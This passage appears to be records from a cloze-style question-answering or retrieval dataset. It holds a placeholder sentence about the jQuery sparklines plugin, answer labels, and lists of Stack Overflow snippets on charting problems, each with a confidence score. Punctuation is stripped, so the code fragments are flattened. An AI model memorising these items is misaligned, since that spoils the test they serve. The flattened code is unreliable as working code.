Comment : @Christian if you meant built-in php webserver since 5.4 then its only for development and using it on production is a bad idea Comment : @ArtjomKurapov No I meant writing a real PHP server by using PHP sockets to listen to port 80 and block on input indefinitely - effectively how servers work . This can be already seen in action in projects like phpwebsocket http : code.google.com p phpwebsocket . .. . Answer : I m having a similar issue . One option I m finding interesting is to use an existing Comet server like cometd-java or cometd-python as the core message-hub . Your PHP code is then just a client to the Comet server -- it can post or read messages from channels just like other clients . There s an interesting code snippet linked here : http : morglog.org p 22 1 that implements part of this method although there are bits of debug code spread around too ." ] }
[ "yes-answer-long", "yes-answer-short" ]
web
UNK_RELATION
sparklines@sparklines@46
sparklines -- a jquery plugin that generates @placeholder small inline charts .
{ "confidence": [ 34.67012023925781, 34.5886344909668, 33.341148376464844, 31.76827049255371, 30.357606887817383, 30.357606887817383, 27.893232345581055, 27.08662223815918, 26.387451171875, 26.1973876953125, 25.07235336303711, 24.970502853393555, 24.47562599182129, 24.47562599182129, 24.47562599182129, 23.85226821899414, 23.35059356689453, 22.679725646972656, 22.156421661376953, 22.156421661376953, 22.156421661376953, 22.156421661376953, 22.156421661376953, 22.156421661376953, 22.156421661376953, 22.00221061706543, 22.00221061706543, 21.99053382873535, 21.845035552978516, 21.444917678833008, 21.444917678833008, 21.34146499633789, 21.266868591308594, 21.091461181640625, 21.031389236450195, 21.031389236450195, 20.5725040435791, 20.192630767822266, 20.001487731933594, 20.001487731933594, 20.001487731933594, 19.683006286621094, 19.683006286621094, 19.683006286621094, 19.683006286621094, 19.611988067626953, 19.611988067626953, 19.611988067626953, 19.47298240661621, 19.147239685058594, 18.876455307006836, 18.876455307006836, 18.460147857666016, 18.460147857666016, 18.460147857666016, 18.428607940673828, 18.26360511779785, 18.26360511779785, 18.26360511779785, 18.174312591552734, 18.022205352783203, 18.022205352783203, 17.777137756347656, 17.72708511352539, 17.62065887451172, 17.452482223510742, 17.42121696472168, 17.065292358398438, 16.673824310302734, 16.673824310302734, 16.364295959472656, 16.296184539794922, 16.296184539794922, 15.995317459106445, 15.995317459106445, 15.995317459106445, 15.958693504333496, 15.958693504333496, 15.892911911010742, 15.653932571411133, 15.369447708129883, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.36699390411377, 15.337540626525879, 15.032161712646484, 14.94780158996582, 14.94780158996582, 14.94780158996582, 14.8119535446167, 14.668450355529785, 14.668450355529785 ], "content": [ "I m calling the jQuery sparklines in the head .", "Using jQuery Sparklines v2.1.2 I am creating a Stacked Bar Chart .", "I am using sparklines charts from omnipotent.net to display statistical information .", "Sparklines http : omnipotent.net jquery.sparkline are awesome for doing little inline graphs .", "I can t seem to center the canvas created by jquery sparklines in a div element .", "From the jQuery Sparklines documentation on Line Graphs you can set the chartRangeMinX .", "I can t get sparklines.js to unhide my sparklines .", "I am using this jquery plugin to show a sparkline http : www.omnipotent.net jquery.sparkline .", "check out the options under Interactive Sparklines http : omnipotent.net jquery.sparkline s-docs", "Passing the name ranged to the Sparklines Data Range then works .", "@timelyportfolio Could you add an example answer with sparklines", "I have it working just fine with static data such as : .. . .. . The SmartAdmin template provides a way to implement the jQuery sparklines without direct manipulation of the javascript .", "I have a table in which I have to use SSRS Sparklines .", "As part of the project I need to add sparklines to several of the pages .", "It seems to be a problem with when the string loads on the page and when Sparklines are called .", "This is the technique this site uses to handle the sparklines that are hidden in the different tabbed sections the site calls the routine in the tab-changed callback .", "3 sparklines should show line chart per Species group for Sepal.Length .", "I am using jquery Sparklines http : omnipotent.net jquery.sparkline to make cute little bar graphs however I want to only colour the last bar a different colour .", "I m trying to use a json response as the tooltipValueLookups parameter in a sparklines http : omnipotent.net jquery.sparkline graph without success .", "Then in the ajax call : .. . .. . Then parse the response and filter it : .. . .. . And finally the sparklines function : .. . .. . @H seyin : Thanks for your assistance it was very helpful .", "Example of Sparklines http : i.stack.imgur.com 4M9tk.png .. . .. . Using the following code I get the result displayed at the end of the code .", "I am looking at some graphing options and would like one that has the cleanliness of Sparklines gem but that doesn t require Rmagick .", "Noob question : I m trying out the new Angular.js framework but can t seem to get my sparklines to display on my partials .", "For details see this StackOverflow post http : stackoverflow.com questions 4204830 excel-sparklines-not-exported-to-pdf-when-using-com-automation .", "Solution for not hang browser with rendering sparklines is to call it async with offset time setting events to queue .", "Thank you that s handy to have the instructions for replicating sparklines using plot .", "Unfortunately this is a little imperfect since the user will see the sparklines render .", "These charts are rendered as mini line chart", "I would like to display some sparklines graphs within a Jquery mobile collapsible set however those graphs were not rendered properly : .. . .. . Majority of the html codes are built by jquery functions including those which generate sparklines .", "It s displaying the Column Name as Tooltip for each small block .", "How should I customize the tooltip for each small block", "It won t display the graphs for the first moment instead it displays the literal series of numbers drawing the sparklines then if the function is executed once again the sparklines are rendered correctly with graphs .", "I am using Jquery Sparkline plugin to draw line graphs on my website it s working fine but I want to edit its tooltip .", "I tried to use disableHiddenCheck http : stackoverflow.com questions 13952354 sparklines-not-drawing-when-using-bootstrap-and-using-tabs but the difference is that way the numbers disappear but the sparklines does not appear too .", "I am having a problem programmatically exporting Excel sheets that contain sparklines to PDF format .", "This may be related to the following question on StackOverflow http : stackoverflow.com questions 3389276 excel-sparklines-printing-issue .", "Having examined the html code created by jquery-mobile the collapsible div which is collapsed at first has an attribute of aria-hidden true which I assume is invisible to jquery sparklines to create graphs .", "I am trying to show two spark line graphs using jQuery Sparklines but for some reason i only shows me one this is my code : .. . .. . As you can see i have two spans with two different id s and still i get only the first one .", "The problem is that the lowest value in a data series is always shown on the charts as-if it s zero .", "If the problem occurs in one graph it is affecting rest of all charts .", "Check out http : railscasts.com episodes 223-charts as a possible solution .", "Well sparklines are heavily dependant on grid package so you need to dig deep to search for those font-size parameters .", "If I can t get sparklines to do what I want then this is a great alternative thanks again .", "I am using the Sparklines package in R and was using the reshapeExt function to prepare a dataset but ran into a very very strange issue .", "I m following a tutorial http : leonawicz.github.io HtmlWidgetExamples ex dt sparkline.html to make a table with sparklines using Rmarkdown .", "Again I looked at the question mentioned above and tried its tricks to no avail... . Any one know how to get this to work for sparklines", "Ideal table http : i.stack.imgur.com hAFSm.png .. . .. . In Excel this can be done with Sparklines feature or as I do it simply creating a graph and placing it very accurately .", "There is also an example https : github.com renkun-ken formattable issues 10 issuecomment-110864675 of mixing sparklines with formattable but I couldn t adapt it to your needs .", "I am new to jQuery and trying to make a sparkline .", "I have an another issue stackoverflow.com questions 37027755 https : stackoverflow.com questions 37027755 unable-to-get-sparklines-working-in-angularjs-version-of-smartadmin-template - after adding a sparkline with data- . . it doesn t show up .", "is there any alternative way to implement this sparkline and Bullet charts inside gridview", "I will have a lot of sparkline charts for all metrics I am using .", "High chart spark line displaying Created with High charts 4.0.1 No data to display instead of display graph", "Dynamic data : are you creating charts before data is loaded and then dynamically update series through setData", "If you could recreate the issue with at least 2 or 3 charts then maybe the issue will be visible and we will be able to find the source of the problem", "This is just a demo for inline barGraph these numbers are random numbers for the bars .", "R-forge has an entry for another package https : r-forge.r-project.org projects sparkline to make sparklines but this one appears not to have be active or useful .", "@Ben You might find that there will be some obstacles with replicating it in ggplot2 because it also heavily depends on grid but it s definitely more achievable than with sparklines .", "I ve updated my question to show where it got me in terms of making basic sparklines with plot perhaps someone else might find the details useful .", "i am trying to use stacked bar in jquery sparkline plugin mine version in 2.1.2 the normal sparkline work properly but the stacked bar type dosen t work here is my code similar : .. . .. . and initialising function", "As a simple example of my problem suppose I have this in my worksheet : .. . .. . .. . .. . Now simplistic VBA code : .. . .. . .. . .. . Now this SHOULD paste in 10 different sparklines but it rather pastes 10 copies of the same one .", "The weird thing is that when I add a few data bars to the excel sheet then the sparklines near the data bars are suddenly exported but the ones further away from the data bars are not .", "I am trying to use jquery sparkline .", "It seems to me the usage of the Plugin is very simple .", "I got a RubyOnRails application 3.2.x using bootstrap and jQuery Sparklines from http : omnipotent.net jquery.sparkline s-about .. . .. . My page has 2 tabs using bootstraps and looks as follows : .. . .. . If the second tab is the active tab then when switching to the first tab shows the numbers not the sparkline but if I make tab 1 the active tab then the sparkline is drawn .", "the small example I provide on top .", "In an Excel 2010 document with more than one page of records where each row includes a sparkline the sparklines do not print or appear in print preview unless one first scrolls through the entire document to view all lines .", "Did you try to understand how Angular works and why you should not just initialize jQuery plugins in controller like you are trying", "I m using this function for some quick and easy sparklines with R but I can t seem to work out how to change the font-size to avoid ugly overlaps of the y-axis tick labels .", "Here s my code see below for a reproducible example : .. . .. . sparklines gamma.df sub c 1 : 23 outer.margin unit c 2 2 2 2 cm .. . .. . and the resulting plot : .. . .. .", "You should never initialize jQuery plugins in Angular controllers simply because it s not guarantied that HTML element you are after is going to be present in the DOM due to compilation and rendering .", "Here a link http : www.tnoda.com blog 2013-12-19 with fantastic description of sparklines implementation using d3.js .. . .. . I m doing something similar but I need to define a normal range for each sparkline like here on mockup : .. . .. .", "When I manually export the Excel sheet to PDF format using Excel 2010 s native PDF Exporting facility then everything works fine but the moment I do it using simple COM automation then everything is exported to PDF with the exception of cells containing sparklines .", "hooray success : Thanks man i am new to javascript jquery and it didn t occurred to me to check the documentation for sparkline .", "It looks not any jQuery plugins or sparkline chart of Highcharts http : www.highcharts.com demo sparkline .", "I did t hear before about jQuery Sparkline http : omnipotent.net jquery.sparkline but simple search in Internet gives the answer .", "I m not familiar with the plugin but I would imagine it s a setting somewhere to change the minimum Y axis value .", "yeah i thought this would work too except that it can t draw if the canvas is hidden : pre-rendering doesn t work with this plugin", "in HTML add class to your div .. . .. . in js : .. . .. . if you are using jQuery :", "Looking at the sparkline demo from Highcharts it is dynamic : jsfiddle.net gh get jquery 1.9.1 highslide-software http : jsfiddle.net gh get jquery 1.9.1 highslide-software highcharts.com tree master samples highcharts demo sparkline it is reading the values in the table and turning them into a chart .", "I am trying to use jquery sparkline with mysql data for showing how much money every user make in every day.. .", "Works perfectly except when there is a negative value on the linevalues it shows - 299 instead of -299 only I am trying to trace what s with all that comma still appending even if the value is in hundreds only .", "here is the fiddle http : jsfiddle.net alfdc u8pyg .. . .. . HTML : .. . .. . JS :", "There is an error in internal function number formatNumber .", "I resolve it with setting custom numberFormatter .", "It should look like this : .. . .. . Here is example : http : jsfiddle.net u8pyg 1", "The Tooltip values are displaying correctly .", "The Source Code is available in : http : jsfiddle.net Hj6fB 236", "How can I show values with always two decimal numbers in sparkline tooltip", "fjr example 1.20 to show as 1.20 and not 1.2", "http : omnipotent.net jquery.sparkline common .. . .. . found solution : sparkline has option : tooltipFormat where you can format tooltip .", "found solution : sparkline has option : tooltipFormat where you can format tooltip .", "You could have the plugin render the graph for the ones that are visible on load then loop through the hidden ones and have it render those in groups of 10 .", "Of course you can also have the numbers inside the bars if you wish but it is a problem when the bars are small .", "enter image description here http : i.stack.imgur.com jAQy1.png .. . .. . Finally for completeness I include some code for sparklines closer to Tufte s style http : www.edwardtufte.com bboard q-and-a-fetch-msg msg id 0001OR by Jason Dieterle that I found on the Tufte forum http : www.edwardtufte.com bboard q-and-a-fetch-msg msg id 00037p .", "enter image description here http : i.stack.imgur.com bpwKk.png .. . .. . In addition to the YaleToolkit package there is the sparkTable package http : cran.r-project.org web packages sparkTable index.html which I learnt of at stats.stackexchange http : stats.stackexchange.com questions 8242 plotting-sparklines-in-r but have not tried .", "The options I used to make the sparklines : .. . .. . The Rmarkdown code is like this : .. . .. . Part of the HTML source code : .. . .. . The first one appear OK but the second tab test one no.. . even if I change the code only the first tab appear OK .", "var values 500 400 700 900 1200 300 550 .. . var dates .. . var now new Date .. . .. . var counter 0 .. . for var i values.length - 1 i 0 i-- .. . var d moment now .subtract 1 i day .format MMM DD .. . dates counter d .. . counter++ .. . .. . .. . bargraph1 .sparkline values .. . type : bar .. . barWidth : 20 .. . barSpacing : 3 .. . height : 100 .. . tooltipFormat : span style color : color 9679 span offset : names value .. . tooltipValueLookups : .. . names : dates .. . .. . colorMap : blue blue blue blue blue blue red .. . .. . .. . .. . .jqstooltip .. . border : none important .. . box-sizing : content-box .. . .. . .. . .. . script src https : ajax.googleapis.com ajax libs jquery 2.1.0 jquery.min.js script .. . script src http : cdnjs.cloudflare.com ajax libs jquery-sparklines 2.1.2 jquery.sparkline.min.js script .. . script src https : cdnjs.cloudflare.com ajax libs moment.js 2.10.3 moment.min.js script .. . .. . span id bargraph1 span .. . .. . EDIT : can never get the code-snippets to work .", "I use jQuery Sparkline for some chart like this : .. . .. . but I don t know how to render Composite Sparkline chart because in documentation of Sparkline use this script : .. . .. . how to implement above model of script with ui-jq", "Check out the JQuery wrapper from the AngularUI project : .. . .. . https : github.com angular-ui angular-ui blob master modules directives jq jq.js .. . .. . The issue is with plugins that change the DOM without alerting AngularJS to the change ." ] }
{ "confidence": [ 41.5929069519043, 37.6918830871582, 35.60247802734375, 34.321189880371094, 32.68408203125, 31.08423614501953, 30.250539779663086, 29.937057495117188, 29.446102142333984, 29.17076873779297, 29.163089752197266, 29.163089752197266, 28.48423957824707, 28.374631881713867, 27.926902770996094, 27.70924186706543, 27.523332595825195, 27.09159278869629, 26.400249481201172, 26.27556037902832 ], "content": [ "Question : null .. . Answer : Using jQuery Sparklines v2.1.2 I am creating a Stacked Bar Chart . The Tooltip values are displaying correctly . It s displaying the Column Name as Tooltip for each small block . How should I customize the tooltip for each small block The Source Code is available in : http : jsfiddle.net Hj6fB 236", "Question : I am using sparklines charts from omnipotent.net to display statistical information . The problem is that the lowest value in a data series is always shown on the charts as-if it s zero . For instance if I have a bar-chart with 3 bars and they have the values 4 2 and 5 the lowest value 2 would look like it s zero on the bar-chart look at the picture to see what I mean . I know that it s possible to set the chartRangeMin option in order to avoid the problem but I am not using javascript to make the chart but rather HTML . Here is my code : .. . .. . The question if how do I use Javascript to set the chartRangeMin to another value than zero enter image description here http : i.stack.imgur.com tRx3F.png Comment : I m not familiar with the plugin but I would imagine it s a setting somewhere to change the minimum Y axis value . Comment : The syntax is explained on the following link but this kind of thing is not my strongest suit maybe you can see how to set the chartRangeMin option : link http : omnipotent.net jquery.sparkline syntax Comment : data-chart-range-min 0 Comment : From that documentation it s the chartRangeMin which you should set to 0 . Or you can use the data attribute as @Shaun mentioned Comment : Shaun you should post your comment as an answer so I can accept it as an answer.. . because you re right : - .. . Answer : From the jQuery Sparklines documentation on Line Graphs you can set the chartRangeMinX . This will allow you to set a minimum value for the X axis . http : omnipotent.net jquery.sparkline syntax http : omnipotent.net jquery.sparkline syntax", "Question : Noob question : I m trying out the new Angular.js framework but can t seem to get my sparklines to display on my partials . The arrays I want graphed do display in text . It seems to be a problem with when the string loads on the page and when Sparklines are called . I m calling the jQuery sparklines in the head . How do I get these to display in an ng-repeat .. . Answer : Check out the JQuery wrapper from the AngularUI project : .. . .. . https : github.com angular-ui angular-ui blob master modules directives jq jq.js .. . .. . The issue is with plugins that change the DOM without alerting AngularJS to the change . Comment : Thank you Is there documentation for implementing this", "Question : I would like to display some sparklines graphs within a Jquery mobile collapsible set however those graphs were not rendered properly : .. . .. . Majority of the html codes are built by jquery functions including those which generate sparklines . It won t display the graphs for the first moment instead it displays the literal series of numbers drawing the sparklines then if the function is executed once again the sparklines are rendered correctly with graphs . that function to generate li elements for the listview ul is set at 10 secs interval . Please see the attached code and screenshots below : .. . .. . no graphs display but a hole bunch of numbers http : i.stack.imgur.com DWb4u.jpg correct display http : i.stack.imgur.com OHGxa.jpg .. . .. . Any suggestions appreciated Thanks in advance Another two screenshots showing collapsible divs display numbers instead of graphs : enter image description here http : i.stack.imgur.com 6kG93.jpg enter image description here http : i.stack.imgur.com dVNAF.jpg .. . Answer : Your only problem is pageinit http : api.jquerymobile.com pageinit event . jQuery Mobile has a problem running graphic jQuery plugins during page initialization . During the page initialization page height is usually 0 or some small value and that affects plugins . So usually only usable page event is pageshow http : api.jquerymobile.com pageshow . Here s a working example of your code : http : jsfiddle.net Gajotres 23ccn .. . .. . HTML : .. . .. . Javascript : Comment : Thanks Gajotres for answering my question Appreciate it and it did solve part of my problem but there was another half of it : if you click onto that show all queues collapsible span the sparklines graphs inside this span still initially display as numbers. . please see my additional screenshots just added . Having examined the html code created by jquery-mobile the collapsible div which is collapsed at first has an attribute of aria-hidden true which I assume is invisible to jquery sparklines to create graphs . Thoughts please Thanks again Gaj", "Question : I am looking at some graphing options and would like one that has the cleanliness of Sparklines gem but that doesn t require Rmagick . I d like one with some clear tutorials too . Comment : I asked a similar question but I never got a suitable answer . stackoverflow.com questions 3723497 http : stackoverflow.com questions 3723497 Comment : Does the output need to be an image file e.g . can it be flash javascript .. . Comment : hmm I m flexible -- for me -- easy of use is the primary concern .. . Answer : Check out http : railscasts.com episodes 223-charts as a possible solution . Comment : I liked highcharts...seems like a possibility . debating between that an google", "Question : Sparklines http : omnipotent.net jquery.sparkline are awesome for doing little inline graphs . However if the container they are in is hidden you can t simply draw them behind the scenes and then show them . You must first display the container and then call the .sparkline display visible method . This is ok except that it s really slow if you have a lot of graphs . I have a little over 200 graphs and will eventually scale to more to render and it takes around 4000ms to render them all hanging the browser . Does anyone know how to either speed up this process doubtful or improve perceived performance by not hanging the browser I tried to add a timer so each graph would show up one at a time while being rendered but that still takes a while with 200+ graphs and the effect is a bit distracting to the user . Thanks .. . Answer : Solution for not hang browser with rendering sparklines is to call it async with offset time setting events to queue . See sample : .. . .. . Bye .. . .. . here is the testing page http : jsfiddle.net 3wdhz 3", "Question : I can t seem to center the canvas created by jquery sparklines in a div element . The canvas has a fixed-width but the usual css display : block margin : 0 auto doesn t seem to work . Here s the jsfiddle : .. . .. . http : jsfiddle.net 7V5nH .. . .. . Could someone please tell me how I can center this canvas Thanks Comment : Try adding text-align : center in .chartContainer .. . Answer : try so .. . .. . demo http : jsfiddle.net 7V5nH 1", "Question : How can I show values with always two decimal numbers in sparkline tooltip fjr example 1.20 to show as 1.20 and not 1.2 http : omnipotent.net jquery.sparkline common .. . .. . found solution : sparkline has option : tooltipFormat where you can format tooltip . .. . Answer : check out the options under Interactive Sparklines http : omnipotent.net jquery.sparkline s-docs", "Question : I am working on a project using the AngularJS version of the SmartAdmin Bootstrap template available here https : wrapbootstrap.com theme smartadmin-responsive-webapp-WB0573SK0 . As part of the project I need to add sparklines to several of the pages . I have it working just fine with static data such as : .. . .. . The SmartAdmin template provides a way to implement the jQuery sparklines without direct manipulation of the javascript . That is the reason for the data- directives . However when I switch the code to the following it no longer displays a graph . I added a div revenue.points div to the page and it prints the values correctly so I know the values are being passed to the page . My guess is that the graph is being rendered before the Angular code is processed thereby showing no data for the graph to display . Is there some code I can add to trigger the graph to be redrawn after the Angular substitution occurs Or is it possible to delay drawing the graph until after the substitution occurs I am new to both Angular and Bootstrap so I am certain I am missing something I just am not sure where else to look on this . The template uses Bootstrap 3.3 and Angular 1.4.2 . Comment : Thank you for your solution . I have an another issue stackoverflow.com questions 37027755 https : stackoverflow.com questions 37027755 unable-to-get-sparklines-working-in-angularjs-version-of-smartadmin-template - after adding a sparkline with data- . . it doesn t show up . I can see 90 60 .. . no graph . Did i miss something .. . Answer : I ended up creating a directive . The completed directive is : .. . .. . And the accompanying div tag : .. . .. . I am sure there is a better way to do the options but this is working as I need it for now . Thanks to those that took a look .", "Question : I am using jquery Sparklines http : omnipotent.net jquery.sparkline to make cute little bar graphs however I want to only colour the last bar a different colour . The code below works but it would be nice if I could colour the bars by the tooltip names rather than by value . Is there a way to do that var values 500 400 700 900 1200 300 550 .. . var dates .. . var now new Date .. . .. . var counter 0 .. . for var i values.length - 1 i 0 i-- .. . var d moment now .subtract 1 i day .format MMM DD .. . dates counter d .. . counter++ .. . .. . .. . bargraph1 .sparkline values .. . type : bar .. . barWidth : 20 .. . barSpacing : 3 .. . height : 100 .. . tooltipFormat : span style color : color 9679 span offset : names value .. . tooltipValueLookups : .. . names : dates .. . .. . colorMap : blue blue blue blue blue blue red .. . .. . .. . .. . .jqstooltip .. . border : none important .. . box-sizing : content-box .. . .. . .. . .. . script src https : ajax.googleapis.com ajax libs jquery 2.1.0 jquery.min.js script .. . script src http : cdnjs.cloudflare.com ajax libs jquery-sparklines 2.1.2 jquery.sparkline.min.js script .. . script src https : cdnjs.cloudflare.com ajax libs moment.js 2.10.3 moment.min.js script .. . .. . span id bargraph1 span .. . .. . EDIT : can never get the code-snippets to work . Heres a fiddle.js : http : jsfiddle.net wm98qfdb Comment : It appears to be working All blues and then a red column right What should it look like Comment : The question was how do I colour the bars by name . So if I have a bar named Squirrels how could I colour it green .. . Answer : Try this snippet I am bad at pasting the code as well so.. . here goes nothing . I didn t implement it but you could use a case statement in a for-loop to populate an array of names so that squirrel is always green etc.. . .. . .. . https : jsfiddle.net omikey y83dmusn Comment : I don t know why it didn t occur to me I could just find out what array item the last value is and repeat the default colour until said index . DOH", "Question : null .. . Answer : I am trying to show two spark line graphs using jQuery Sparklines but for some reason i only shows me one this is my code : .. . .. . As you can see i have two spans with two different id s and still i get only the first one . I even tried to load to the same span but it makes no difference . Thanks Comment : You have a typo in your 2nd span . Check the . With that fixed it works jsfiddle.net blaird jsLwqmLh https : jsfiddle.net blaird jsLwqmLh Comment : I have tried also to load the two line into one div with no success can you maybe help with that as well", "Question : I got a RubyOnRails application 3.2.x using bootstrap and jQuery Sparklines from http : omnipotent.net jquery.sparkline s-about .. . .. . My page has 2 tabs using bootstraps and looks as follows : .. . .. . If the second tab is the active tab then when switching to the first tab shows the numbers not the sparkline but if I make tab 1 the active tab then the sparkline is drawn . How do I fix this .. . Answer : I finally fixed it there is a parameter that you can add as an option : .. . .. . had to set it to true so this works with : Comment : saved a lot of time for me . . thanks : Comment : This has also worked for me thank you Comment : It help me thanks .", "Question : Sparklines http : omnipotent.net jquery.sparkline are awesome for doing little inline graphs . However if the container they are in is hidden you can t simply draw them behind the scenes and then show them . You must first display the container and then call the .sparkline display visible method . This is ok except that it s really slow if you have a lot of graphs . I have a little over 200 graphs and will eventually scale to more to render and it takes around 4000ms to render them all hanging the browser . Does anyone know how to either speed up this process doubtful or improve perceived performance by not hanging the browser I tried to add a timer so each graph would show up one at a time while being rendered but that still takes a while with 200+ graphs and the effect is a bit distracting to the user . Thanks .. . Answer : You could have the plugin render the graph for the ones that are visible on load then loop through the hidden ones and have it render those in groups of 10 . Will make it so the browser doesn t hang and will pre-render the hidden ones before you need them . Comment : yeah i thought this would work too except that it can t draw if the canvas is hidden : pre-rendering doesn t work with this plugin Comment : jsfiddle.net HvQ5f http : jsfiddle.net HvQ5f - try out the code think you will find that it will work if you remove the display : none and add visibility : hidden while its pre-rendering . Comment : interesting . i will definitely give this a whirl . Comment : i will give you the acceptance because this does work and does help . however it still takes forEVER when you have a large number of graphs and still hangs the browser .", "Question : I am having a problem programmatically exporting Excel sheets that contain sparklines to PDF format . When I manually export the Excel sheet to PDF format using Excel 2010 s native PDF Exporting facility then everything works fine but the moment I do it using simple COM automation then everything is exported to PDF with the exception of cells containing sparklines . The weird thing is that when I add a few data bars to the excel sheet then the sparklines near the data bars are suddenly exported but the ones further away from the data bars are not . I have verified these problems on multiple different machines and operating systems . This may be related to the following question on StackOverflow http : stackoverflow.com questions 3389276 excel-sparklines-printing-issue . I am using the following very straight forward VB.NET code . I have tried playing around with the various settings and variables but no luck . .. . Answer : I have been in contact with Microsoft Support and they have acknowledged it is a bug . The product team is looking at it for inclusion in a future service pack . Until then making the Application Visible before carrying out the export will solve the problem . If you don t want the user to see it then you can position the window off screen .", "Question : I can t get sparklines.js to unhide my sparklines . I ve included the .sparkline display visible function in the function where I unhide the div . The official docs are pretty straightforward : .. . .. . From http : omnipotent.net jquery.sparkline hidden : .. . .. . The solution is to call the .sparkline display visible function anytime a sparkline may have become visible so that it can be correctly rendered . This is the technique this site uses to handle the sparklines that are hidden in the different tabbed sections the site calls the routine in the tab-changed callback . So after the usual head-banging and doc-rereading period I m asking you guys for suggestions on what I missed . .. . Answer : You have to have something inside the divs i.e . stick a nbsp inside empty div .. . .. . PS You also appear to have some stray tags e.g . closing td followed by opening that is not closed and neither inside a table Comment : provide quality answers please . hit and trial answers dont work . If you have tried the resolution at your end plz post the code . Comment : I tested the code and adding the n b s p into the empty DIVs worked . Helpful", "Question : I can t seem to center the canvas created by jquery sparklines in a div element . The canvas has a fixed-width but the usual css display : block margin : 0 auto doesn t seem to work . Here s the jsfiddle : .. . .. . http : jsfiddle.net 7V5nH .. . .. . Could someone please tell me how I can center this canvas Thanks Comment : Try adding text-align : center in .chartContainer .. . Answer : I figured it out but the answer is a little unintuitive . I had to use the following css properties on the containing element . Here is the updated fiddle . http : jsfiddle.net 4typS .. . .. . Using text-align : center for non-textual elements doesn t make sense to me but at least it works now . Update : .. . .. . rajmathan s suggestion of using text-align : center on the canvas grandparent also works . Here is the jsfiddle : .. . .. . http : jsfiddle.net GmLSB", "Question : In an Excel 2010 document with more than one page of records where each row includes a sparkline the sparklines do not print or appear in print preview unless one first scrolls through the entire document to view all lines . In my application that produces a series of Excel reports automatically this is a very visible issue . Can anyone suggest a fix for this or is this a bug in Excel 2010 Comment : I have a similar issue . For details see this StackOverflow post http : stackoverflow.com questions 4204830 excel-sparklines-not-exported-to-pdf-when-using-com-automation . .. . Answer : I know this is an annoying workaround but you could put a simple macro in that workbook that runs whenever the workbook is opened that simply scrolls to the bottom of the workbook and then back to the top . - .. . .. . Let me know if you would need help creating that .", "Question : Sparklines http : omnipotent.net jquery.sparkline are awesome for doing little inline graphs . However if the container they are in is hidden you can t simply draw them behind the scenes and then show them . You must first display the container and then call the .sparkline display visible method . This is ok except that it s really slow if you have a lot of graphs . I have a little over 200 graphs and will eventually scale to more to render and it takes around 4000ms to render them all hanging the browser . Does anyone know how to either speed up this process doubtful or improve perceived performance by not hanging the browser I tried to add a timer so each graph would show up one at a time while being rendered but that still takes a while with 200+ graphs and the effect is a bit distracting to the user . Thanks .. . Answer : You can easily avoid hanging the browser by not doing them all at the same time . It is usually OK to render graphs asynchronously when they come into the viewport . See http : mleibman.github.com SlickGrid examples example10-async-post-render.html for a working example .", "Question : I m using this function for some quick and easy sparklines with R but I can t seem to work out how to change the font-size to avoid ugly overlaps of the y-axis tick labels . Here s my code see below for a reproducible example : .. . .. . sparklines gamma.df sub c 1 : 23 outer.margin unit c 2 2 2 2 cm .. . .. . and the resulting plot : .. . .. . enter image description here http : i.stack.imgur.com hHRmu.png .. . .. . I seem to be able to completely suppress the y-axis with .. . .. . sparklines gamma.df sub c 1 : 23 yaxis FALSE outer.margin unit c 2 2 2 2 cm .. . .. . But what I really want is just shrink the numbers at the tick marks and add grey fill under the line but it looks like I d have to draw polygons on the screen which is probably enough trouble to deserve a separate question.. . and a different package . The documentation http : cran.r-project.org web packages YaleToolkit YaleToolkit.pdf suggests that gpar http : projetos.inpa.gov.br i3geo pacotes r win library grid html gpar.html might be relevant : In all the cases where a list of graphics parameters is needed the valid parameter names are the same as would be valid when passed to gpar in the appropriate call . But I need a bit of help to make sense of that as none of my attempts seem to get anywhere ditto for cex.axis and axis . Any experts on R s grid graphics out there Links to a well-documented completely different approach ggplot2 that gives better quality sparkline-style output are welcome also . Here s some example data and code that replicates my problem : .. . .. . And here s the resulting example data plot with ugly overlapping numbers at the y-axis tickmarks : .. . .. . enter image description here http : i.stack.imgur.com 1Jale.png .. . .. . UPDATE : Using the very helpful plot code from @geek-on-acid and some code from the Tufte forum see below I ve come up with an alternative sparkline method that doesn t use the YaleToolkit package and looks alright.. . Here s a reproducible example really just two lines but annotated here for my education : .. . .. . Here s the resulting image which is basically the solution to my problem . The y-axis tick marks try to be elegant by showing only the max and min values of the data and having no vertical line . Thanks again to @geek-on-acid for the tip on how to I get a single x-axis along the bottom of them all . enter image description here http : i.stack.imgur.com jAQy1.png .. . .. . Finally for completeness I include some code for sparklines closer to Tufte s style http : www.edwardtufte.com bboard q-and-a-fetch-msg msg id 0001OR by Jason Dieterle that I found on the Tufte forum http : www.edwardtufte.com bboard q-and-a-fetch-msg msg id 00037p . They look much nicer than mine but the code only does one plot at a time . Here s the original post : .. . .. . and here s what his output looks like enlarged a little : .. . .. . enter image description here http : i.stack.imgur.com bpwKk.png .. . .. . In addition to the YaleToolkit package there is the sparkTable package http : cran.r-project.org web packages sparkTable index.html which I learnt of at stats.stackexchange http : stats.stackexchange.com questions 8242 plotting-sparklines-in-r but have not tried . R-forge has an entry for another package https : r-forge.r-project.org projects sparkline to make sparklines but this one appears not to have be active or useful . Comment : That s very good tweaks @Ben - well done . You should have probably posted it all as a separate answer rather than edit . To add an X axis in the bottom just add axis 1 pos c -4 immediately after your for-loop . Comment : @Geek On Acid thanks again I missed that last line in your original answer . I ve added it in now . .. . Answer : Well sparklines are heavily dependant on grid package so you need to dig deep to search for those font-size parameters . Playing with viewpoint will probably get you there . For an easy but VERY raw solution just use simple plotting options using par - this way you can manipulate almost every parameter very easily : .. . .. . enter image description here http : i.stack.imgur.com cfTnH.png Comment : Thank you that s handy to have the instructions for replicating sparklines using plot . If I can t get sparklines to do what I want then this is a great alternative thanks again . I guess it should be pretty simple to adapt your setup to ggplot2 also . Comment : @Ben You might find that there will be some obstacles with replicating it in ggplot2 because it also heavily depends on grid but it s definitely more achievable than with sparklines . Comment : Good to know that about ggplot2 . Your post gave me a few key concepts to answer my question which is very helpful . I ve updated my question to show where it got me in terms of making basic sparklines with plot perhaps someone else might find the details useful . Thanks again", "Question : I am trying to move all my data crunching to Rmarkdown instead of SPSS+Excel but can t figure out how to create a table with an appending graph . Ideal table http : i.stack.imgur.com hAFSm.png .. . .. . In Excel this can be done with Sparklines feature or as I do it simply creating a graph and placing it very accurately . The table above is created with tabular function from Tables package and Pander . And pasted into Excel to create the graph and header for graph . Has anyone created something like this Maybe a workaround with the gridExtra package although I am sceptical that the package can match together table and graph . .. . .. . 